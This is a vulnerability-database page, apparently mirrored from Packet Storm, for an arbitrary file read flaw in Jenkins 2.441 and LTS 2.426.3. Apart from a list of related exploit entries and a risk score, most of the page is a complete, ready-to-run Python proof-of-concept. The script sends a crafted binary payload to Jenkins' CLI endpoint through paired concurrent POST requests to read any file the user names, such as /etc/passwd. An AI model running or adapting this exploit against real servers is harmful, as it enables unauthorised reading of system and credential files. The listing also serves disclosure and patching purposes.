Jenkins 2.441 / LTS 2.426.3 Arbitrary File Read

🗓️ 29 Jan 2024 00:00:00Reported by binganao, github.comType

packetstorm🔗 packetstormsecurity.com👁 436 Views

Jenkins 2.441 / LTS 2.426.3 Arbitrary File Read vulnerability in Python exploi

Reporter	Title	Published	Views	Family All 100
GithubExploit	Exploit for Path Traversal in Jenkins	26 Jan 202421:39	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	28 Jan 202412:53	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	30 Sep 202416:38	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	19 Feb 202402:29	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	8 May 202402:28	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	8 May 202402:28	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	26 Oct 202513:24	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	26 Jan 202419:00	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	3 Mar 202616:08	–	githubexploit
GithubExploit	Exploit for Path Traversal in Jenkins	23 Mar 202506:34	–	githubexploit

`# python poc.py  
# [*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]  
  
import threading  
import http.client  
import time  
import uuid  
import urllib.parse  
import sys  
  
if len(sys.argv) != 3:  
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')  
exit()  
  
data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'  
target = urllib.parse.urlparse(sys.argv[1])  
uuid_str = str(uuid.uuid4())  
  
print(f'REQ: {data_bytes}\n')  
  
def req1():  
conn = http.client.HTTPConnection(target.netloc)  
conn.request("POST", "/cli?remoting=false", headers={  
"Session": uuid_str,  
"Side": "download"  
})  
print(f'RESPONSE: {conn.getresponse().read()}')  
  
def req2():  
conn = http.client.HTTPConnection(target.netloc)  
conn.request("POST", "/cli?remoting=false", headers={  
"Session": uuid_str,  
"Side": "upload",  
"Content-type": "application/octet-stream"  
}, body=data_bytes)  
  
t1 = threading.Thread(target=req1)  
t2 = threading.Thread(target=req2)  
  
t1.start()  
time.sleep(0.1)  
t2.start()  
  
t1.join()  
t2.join()  
`

29 Jan 2024 00:00Current

6.6Medium risk

Vulners AI Score6.6

EPSS0.94466